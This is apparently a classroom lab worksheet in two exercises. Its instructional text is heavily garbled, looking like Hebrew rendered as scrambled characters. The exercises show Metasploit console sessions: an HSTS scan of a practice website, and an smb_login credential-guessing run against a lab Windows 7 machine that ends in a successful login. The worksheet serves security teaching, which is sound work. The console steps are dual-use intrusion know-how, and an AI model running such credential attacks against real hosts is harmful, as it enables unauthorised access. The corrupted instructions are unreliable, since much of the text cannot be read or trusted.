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Metasploit nx11a19217 :1 aTAYN Nn'wn

WX Daxivn MSF *“2mm won? X' it nn'wn 7w nnonn
-N DX NI www.hack-yourself-first.com anxn NX PN07 N1 ,nn'wnn N1
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:~# msfconsole
***¥rting the Metasploit Framework console...\
* WARNING: No database support: No database YAML file
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etasploit v5 41-dev

1914 exploits - 1074 auxiliary - 330 post
556 payloads - 45 encoders - 10 nops
4 evasion

nononou

712'N NM2N DXV KN .DNNID T 0N7W DNIANA 7907 'R 019 TOT? yr1m HSTS
HTTPS 77

n7'nna (Resources) n'axwn yopa v'omn w2 HSTS 7y qon y1n Xixn%? N1
.NT Non

Search hsts nTi7on nx yn? w' \HSTS won? 'm

msf5 > search hsts

Matching Modules

© auxiliary/scanner/http/http_hsts normal Yes HTTP Strict Transport Security (HSTS) Detection
1 post/multi/manage/hsts eraser normal No Web browsers HSTS entries eraser

msfs > i

U'LINIR YN D'WNTA DRIMIN DR X7  HSTS atvn prioa wnnwn? v 3
https://hack-yourself-first.com 7y npon NX yxa7
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: INNDO

use NTIPON NX Yn7 v HSTS atyn pa1oa wnnwn'? 1
auxiliary/scanner/http/http _hsts

msf5 = use auxiliary/scanner/http/http hsts

msf5 auxiliary( ) =

show options nTIon NX Yn7 W' NI'0AT NINYWOR A'¥N7 ' D

msf5 auxiliary( ) > show options
Module options (auxiliary/scanner/http/http hsts):
Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 443 yes The target port (TCP)

SSL true no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

msf5 auxiliary( ) > 1

:Nan 9182 RHOSTS nirnwoxa wnnwin? v ,PayPal 7w naxknn nx v 1an? '

set RHOSTS www.hack-yourself-first.com

mst5 auxiliary( > set R S www. - rselT-Tirst.com
www.hack-yourself-first.com
5 auxiliary( ]

run T9pn% W 0TIpon DX YNn? rm

msf5 auxiliary( ) > run

104.42.152.64:443 No HSTS found.

[#*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary( ) >
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SMB ninanna nopnn :2 ATayn Nn'wn

aXIYNN 21T NITva n'o'oa SMB nopnn 7w nynoun X' IT An'wn 7w nnonn
.Msfconsole-a smb_login wxn

Windows 7 awnnn nx 7'von7 w1
.smb_login-7 omiwp X1 won7 w2

: NN

search smb_login nTi7on NX yn7 w' ,sm_login X Dniwpn 017181 XIxn'? 1

msf5 auxiliary( ) > search smb _login

©® auxiliary/scanner/smb/smb _login normal Yes SMB Login Check Scanner

msf5 auxiliary(

DININ DX X7N71 smb_login 71x12 wnnwn'? MetaSploit nk yman7 w3
Windows 7 niipn nx qizn? "1 0'waTn

: NN

use T77n7 w' 7111 wnnwin? MetaSploit nx ' an? '
auxiliary/scanner/smb/smb_login

msf5 auxiliary( ) > use auxiliary/scanner/smb/smb login

msf5 auxiliary( ) > i

run show options nTI7oNn NX Y7 W' NI'0ITY NI'NWON A'¥N7 ' TD
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msf5 auxiliary( ) > show options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description

ABORT_ON_LOCKOUT Abort the run when an account lockout is detected
BLANK_PASSWORDS Try blank passwords for all users

BRUTEFORCE_SPEED How fast to bruteforce, from © to 5

DB_ALL_CREDS Try each user/password couple stored in the current database
DB_ALL_PASS Add all passwords in the current database to the list

DB ALL_USERS Add all users in the current database to the list

DETECT ANY_AUTH Enable detection of systems accepting any authentication
DETECT_ANY _DOMAIN Detect if domain is required for the specified user

PASS FILE File containing passwords, one per line

PRESERVE_DOMAINS Respect a username that contains a domain name.

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST Record guest-privileged random logins to the database
RHOSTS 192.168.0.14 The target address range or CIDR identifier

RPORT 445 The SMB service port (TCP)

SMBDomain ’ The Windows domain to use for authentication

SMBPass 123456789 The password for the specified username

SMBUser John The username to authenticate as

STOP_ON SUCCESS false Stop guessing when a credential works for a host

THREADS 10 The number of concurrent threads

USERPASS FILE File containing users and passwords separated by space, one pair per line
USER AS PASS false Try the username as the password for all users

USER_FILE File containing usernames, one per line

VERBOSE true Whether to print output for all attempts

msf5 auxiliary(

‘0'N2N 0'0V9N NX X7 v
Set RHOSTS [Windows 7 IP]

msf5 auxiliary( )} = se TS 192.168.0.14
RHO 192.168.0.1
msf5 auxiliary(

Set SMBPASS [Windows 7 login password]

ry ( ) e 123456789
23456789

Set SMBUser [Windows 7 login username]

msf5 auxiliary( ) > set SMBUser John
SMBUser => John

msf5 auxiliary( ) > |}
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show options nTiPon NX YN7 W' ;MY NNTAMN NITIPONY RTH? 'O

msf5 auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb_login):

Name Current Setting Required Description

ABORT ON_LOCKOUT Abort the run when an account lockout is detected

BLANK PASSWORDS false Try blank passwords for all users

BRUTEFORCE SPEED 5 How fast to bruteforce, from © to 5

DB_ALL_CREDS false Try each user/password couple stored in the current database
DB_ALL_PASS false Add all passwords in the current database to the list

DB ALL_USERS false Add all users in the current database to the list

DETECT ANY AUTH false Enable detection of systems accepting any authentication
DETECT_ANY DOMAIN false Detect if domain is required for the specified user

PASS FILE File containing passwords, one per line

PRESERVE _DOMAINS  true Respect a username that contains a domain name.

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RECORD GUEST false Record guest-privileged random logins to the database
RHOSTS 192.168.0.14 The target address range or CIDR identifier

RPORT 445 The SMB service port (TCP)

SMBDomain : The Windows domain to use for authentication

SMBPass 123456789 The password for the specified username

SMBUser John The username to authenticate as

STOP_ON_SUCCESS false Stop guessing when a credential works for a host

THREADS 10 The number of concurrent threads

USERPASS FILE File containing users and passwords separated by space, one pair per line
USER_AS PASS false Try the username as the password for all users

USER FILE File containing usernames, one per line

VERBOSE true Whether to print output for all attempts

msf5 auxiliary(

exploit nTIzoN NX yn7 wr jyuonn NX yxa7 '
msT5 auxiliary( ) exploit

2.168.0.14:445 .168.0.14:445 - Starting SMB login bruteforce
.168.0.14:445 2.168.0.14:445 - Success: '.%\John:123456789'

2.168.08.14:445 No active DB ‘redential data will not be saved!

2.168.0.14:445 - Scanned 1 of (16 complete)
Auxiliary module execution completed
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1 ATayn nn'wn
.msfconsole nTI7oN nxn T 7V qionn nivyxnxa msfconsole-a wnnwn'? |na ¢
MID'N NIX7 NYUNWN WID'NN NTIRD *
.D'WNTN NITYUN DX A'¥n7 * 1D show options-2 wnnwun? ' «

2 DTAYyn Nn'wn
.SMBUser-i SMBPass ,RHOST ymn7 wr ¢
Windows 7 wnnwn? 1"nwn? DMy nNaNNNN '01o ¢
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